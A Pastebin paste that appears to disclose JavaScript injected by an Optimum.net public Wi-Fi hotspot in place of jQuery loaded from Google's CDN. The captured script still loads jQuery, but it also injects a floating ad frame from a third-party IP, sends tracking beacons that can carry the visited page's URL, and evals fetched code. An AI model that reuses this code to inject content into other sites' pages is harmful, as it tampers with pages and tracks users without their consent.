Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* Optimum.net public hotspot hi-jacks jQuery loaded from google CDN. */
- (function() {
- try {
- function sendAccounting(z, y) {
- z = z || 1;
- y = y || 0;
- var i = new Image();
- i.src = "http://167.206.59.20:80/" + z + "-2573/2f43c5ba-75e1-4edd-ba3a-0850aa1f32d6_25.20.25.57/" + y + "." + (l + u);
- return i
- }
- function c(C) {
- var A, z = Math.floor(1000 * u),
- E = "fp" + z,
- B = "3254ea43e4fce8f36b0fb458bbe20b5d824be20c",
- y = "_!$[]fp2f43c5ba-75e1-4edd-ba3a-0850aa1f32d6[]$!_",
- D;
- C.varPrefix = C.varPrefix || "fp";
- C.jsonWidthArg = C.jsonWidthArg || "minimum_width";
- C.jsonHeightArg = C.jsonHeightArg || "minimum_height";
- if (typeof C.jsURI === "string") {
- C.jsURI = [C.jsURI]
- }
- if (e[y] === B) {
- return 1
- } else {
- e[y] = B
- }
- if (C.requireTopWindow && e != top) {
- return 2
- }
- if (C.requireObjectHasOwnProperty && !Object.prototype.hasOwnProperty) {
- return 3
- }
- if (C.json) {
- if (typeof C.json === "string") {
- try {
- C.json = e["eval"]("(" + C.json + ")")
- } catch (F) {
- return 4
- }
- }
- if (C.preferJsonSettings) {
- if (C.json[C.jsonWidthArg]) {
- C.minWidth = C.json[C.jsonWidthArg]
- }
- if (C.json[C.jsonHeightArg]) {
- C.minHeight = C.json[C.jsonHeightArg]
- }
- }
- C.json._accounting = {
- stopTime: f,
- sendAccounting: sendAccounting,
- uri: "http://167.206.59.20/static",
- check: "1" == 1 && "http://167.206.59.20/CheckUrl/1/2573"
- }
- }
- if (C.minHeight || C.minWidth) {
- D = v(C.minHeight, C.minWidth);
- if (C.json) {
- C.json._ok = D
- }
- if (D() === false) {
- return 5
- }
- }
- if (C.json2uri) {
- while (e[E] !== undefined) {
- E = C.varPrefix + (++z)
- }
- e[E] = C.json;
- for (A = 0; A < C.jsURI.length; A++) {
- C.jsURI[A] += (C.jsURI[A].indexOf("?") !== -1 ? "&" : "?") + E
- }
- }
- }
- function v(i, y) {
- return function() {
- var z = 0,
- A = 0;
- if (self.innerHeight) {
- z = self.innerWidth;
- A = self.innerHeight
- } else {
- if (x.documentElement && x.documentElement.clientHeight) {
- z = x.documentElement.clientWidth;
- A = x.documentElement.clientHeight
- } else {
- if (x.body) {
- z = x.body.clientWidth;
- A = x.body.clientHeight
- }
- }
- }
- if (z == 0 && A == 0) {
- return 0
- }
- if (z < i || A < y) {
- return false
- }
- return true
- }
- }
- function q() {
- var C, y = new Date().getTime(),
- z, A = {
- requireTopWindow: true,
- requireObjectHasOwnProperty: true,
- minWidth: 550,
- minHeight: 400,
- json: '__JSON__',
- preferJsonSettings: true,
- jsURI: "__SCRIPT__",
- json2uri: false
- };
- function J(K, i) {
- if (K === "@" + i) {
- return null
- }
- return K
- }
- function F(K, i) {
- if (J(K, i) === null) {
- return null
- }
- K = K.toLowerCase();
- if (K == "true") {
- return true
- } else {
- if (K == "false") {
- return false
- }
- }
- K = G(K, i);
- if (K !== null) {
- K = !! K
- }
- return K
- }
- function G(K, i) {
- if (J(K, i) === null) {
- return null
- }
- K = parseInt(K);
- return !isNaN(K) ? K : null
- }
- function E(K, i) {
- if (J(K, i) === null) {
- return null
- }
- K = parseFloat(K);
- return !isNaN(K) ? K : null
- }
- function I(P, L, O) {
- if (J(P, L) === null) {
- return null
- }
- O = O || {};
- O.sep = O.sep || ",";
- O.type = O.type || "string";
- var N, M, K = P.split(O.sep);
- switch (O.type) {
- case "int":
- M = G;
- break;
- case "float":
- M = E;
- break;
- case "string":
- default:
- M = J;
- break
- }
- for (N = 0; N < K.length; N++) {
- K[N] = M(K[N])
- }
- return K
- }
- A.jsURI = "http://167.206.59.20/static/FloatingContent/dvIWp0-nyKiVq9SIXic1Zg/floating-frame.js";
- A.json = {
- allow_content_scroll: F("0", "AllowContentScroll"),
- allow_content_transparency: F("1", "AllowContentTransparency"),
- anchor_corner: J("se", "AnchorCorner"),
- animate_in_duration: E("0.50", "AnimateInDuration"),
- animate_out_duration: E("0.50", "AnimateOutDuration"),
- animation_properties: I("opacity", "AnimationProperties"),
- auto_scale_mobile: F("0", "AutoScaleMobile"),
- border_bottom_color: J("", "BorderBottomColor"),
- border_bottom_position: J("", "BorderBottomPosition"),
- border_bottom_repeat: J("no-repeat", "BorderBottomRepeat"),
- border_bottom_width: G("0", "BorderBottomWidth"),
- border_left_color: J("", "BorderLeftColor"),
- border_left_position: J("", "BorderLeftPosition"),
- border_left_repeat: J("no-repeat", "BorderLeftRepeat"),
- border_left_width: G("0", "BorderLeftWidth"),
- border_right_color: J("", "BorderRightColor"),
- border_right_position: J("", "BorderRightPosition"),
- border_right_repeat: J("no-repeat", "BorderRightRepeat"),
- border_right_width: G("0", "BorderRightWidth"),
- border_top_color: J("", "BorderTopColor"),
- border_top_position: J("", "BorderTopPosition"),
- border_top_repeat: J("no-repeat", "BorderTopRepeat"),
- border_top_width: G("18", "BorderTopWidth"),
- bottom_align: J("left", "BottomAlign"),
- bottom_color: J("", "BottomColor"),
- bottom_decoration: J("", "BottomDecoration"),
- bottom_font_size: J("100%", "BottomFontSize"),
- bottom_font_weight: J("normal", "BottomFontWeight"),
- bottom_letter_spacing: E("0.00", "BottomLetterSpacing"),
- bottom_offset_left: G("0", "BottomOffsetLeft"),
- bottom_offset_right: G("0", "BottomOffsetRight"),
- bottom_offset_vertical: G("0", "BottomOffsetVertical"),
- bottom_text: J("", "BottomText"),
- bottom_word_spacing: E("0.00", "BottomWordSpacing"),
- close_align: J("right", "CloseAlign"),
- close_alt_text: J("", "CloseWindowText"),
- close_height: G("18", "CloseHeight"),
- close_horizontal_padding: G("0", "CloseHorizontalPadding"),
- close_hover_position: J("0 -18px", "CloseHoverPosition"),
- close_position: J("0 0", "ClosePosition"),
- close_vertical_offset: G("0", "CloseVerticalOffset"),
- close_width: G("18", "CloseWidth"),
- content_url: J(d("http://optimum.net/wifi/watermark/brand_awareness"), "ContentURL"),
- delay_duration: E("0.00", "DelayDuration"),
- horizontal_offset: G("10", "HorizontalOffset"),
- message_html: J('', "MessageHTML"),
- minimum_height: G("300", "MinimumHeight"),
- minimum_width: G("450", "MinimumWidth"),
- ne_corner_position: J("", "NeCornerPosition"),
- ne_corner_width: G("0", "NeCornerWidth"),
- nw_corner_position: J("", "NwCornerPosition"),
- nw_corner_width: G("0", "NwCornerWidth"),
- opaque_outer_frame: F("0", "OpaqueOuterFrame"),
- outer_height: G("70", "Height"),
- outer_width: G("320", "Width"),
- require_full_page_load: F("1", "RequireFullPageLoad"),
- se_corner_position: J("", "SeCornerPosition"),
- se_corner_width: G("0", "SeCornerWidth"),
- sprite_img: J("http://167.206.59.20/static/FloatingContent/static/x18.png", "SpriteImg"),
- sw_corner_position: J("", "SwCornerPosition"),
- sw_corner_width: G("0", "SwCornerWidth"),
- top_align: J("left", "TopAlign"),
- top_color: J("", "TopColor"),
- top_decoration: J("", "TopDecoration"),
- top_font_size: J("93%", "TopFontSize"),
- top_font_weight: J("bold", "TopFontWeight"),
- top_letter_spacing: E("0.00", "TopLetterSpacing"),
- top_offset_left: G("0", "TopOffsetLeft"),
- top_offset_right: G("0", "TopOffsetRight"),
- top_offset_vertical: G("0", "TopOffsetVertical"),
- top_text: J("", "WindowTitle"),
- top_word_spacing: E("0.00", "TopWordSpacing"),
- vertical_offset: G("10", "VerticalOffset"),
- visible_duration: E("15.00", "VisibleDuration")
- };
- var B = J("", "TextColor"),
- H = J("", "FrameColor");
- if (H) {
- A.json.border_top_color = A.json.border_right_color = A.json.border_bottom_color = A.json.border_left_color = H
- }
- if (B) {
- A.json.top_color = A.json.bottom_color = B
- }
- if (A.json.outer_width >= 0) {
- A.json.outer_width += A.json.border_right_width + A.json.border_left_width
- }
- if (A.json.outer_height >= 0) {
- A.json.outer_height += A.json.border_top_width + A.json.border_bottom_width
- }
- if ((C = c(A)) || y > f) {
- sendAccounting(2, C)
- } else {
- if (A.sendEarlyAccounting) {
- sendAccounting(1)
- }
- if (A.jsURI) {
- for (C = 0; C < A.jsURI.length; C++) {
- z = r("script", null, "src", d(A.jsURI[C]), "type", w);
- z[u] = A.json;
- j.appendChild(z)
- }
- }
- if (A.onInsert) {
- try {
- A.onInsert()
- } catch (D) {}
- }
- }
- }
- function n(z) {
- var C, A, y = [function() {
- return new XMLHttpRequest()
- }, function() {
- return new ActiveXObject("Msxml2.XMLHTTP")
- }, function() {
- return new ActiveXObject("Microsoft.XMLHTTP")
- },
- e.createRequest];
- for (A = 0; A < y.length; A++) {
- C = 0;
- try {
- C = y[A]();
- break
- } catch (B) {
- C = 0
- }
- }
- if (C) {
- try {
- C.open("GET", z, false);
- C.setRequestHeader("X-PLCS", "xhr");
- C.send(null);
- if (C.status == 200) {
- return C.responseText || " "
- }
- } catch (B) {}
- } else {}
- }
- function r(y, B) {
- var A = x.createElement(y),
- z;
- if (B) {
- A.appendChild(x.createTextNode(B))
- }
- for (z = 2; z < arguments.length; z += 2) {
- A.setAttribute(arguments[z], arguments[z + 1])
- }
- return A
- }
- function d(i) {
- return i.replace("%PAGEURL%", escape(b.href))
- }
- function h() {
- e.V = h.V;
- e.log = h.log;
- if (h.oncomplete) {
- h.oncomplete()
- }
- }
- var s, m, w = "text/javascript",
- t = "http://" + unescape("ajax.googleapis.com%2Fajax%2Flibs%2Fjquery%2F1.8.3%2Fjquery.min.js"),
- u = Math.random(),
- p = new Date().getTime(),
- f, o = parseFloat("%ACCOUNTINGTIMEOUT%"),
- e = window,
- x = document,
- b = e.location || x.location || {},
- j = x.createElement("div"),
- l = 3,
- k;
- j.innerHTML = "<!--[if IE]><i></i><![endif]-->";
- k = j.getElementsByTagName("i").length;
- h.V = e.V;
- e.V = h;
- h.log = e.log;
- e.log = function(i) {};
- if (isNaN(o)) {
- o = 15
- }
- f = p + (o * 1000) - 2;
- t += (~t.indexOf("?") ? (~t.indexOf(";") ? ";" : "&") : "?") + "_fp" + (u * 1000 | 0) + "=" + u;
- j = x.getElementsByTagName("script");
- j = ((s = j.length) ? j[s - 1] : (l = 4)).parentNode || x.body || x.documentElement.firstChild;
- if (t.split("/")[2] == b.host) {
- m = n(t);
- if (m) {
- l = 1;
- h.js = m;
- h.oncomplete = q;
- return
- }
- }
- if (x.readyState == (k ? "interactive" : "loading")) {
- l = 2;
- x.write("<scr".concat('ipt src="') + t + '" type="' + w + '"></scr'.concat("ipt>"))
- } else {
- j.appendChild(r("script", 0, "src", t, "type", w, "async", !1))
- }
- q()
- } catch (g) {}
- })();
- if (window.V) {
- if (V.js) {
- try {
- window["eval"](V.js)
- } catch (a) {}
- }
- V()
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement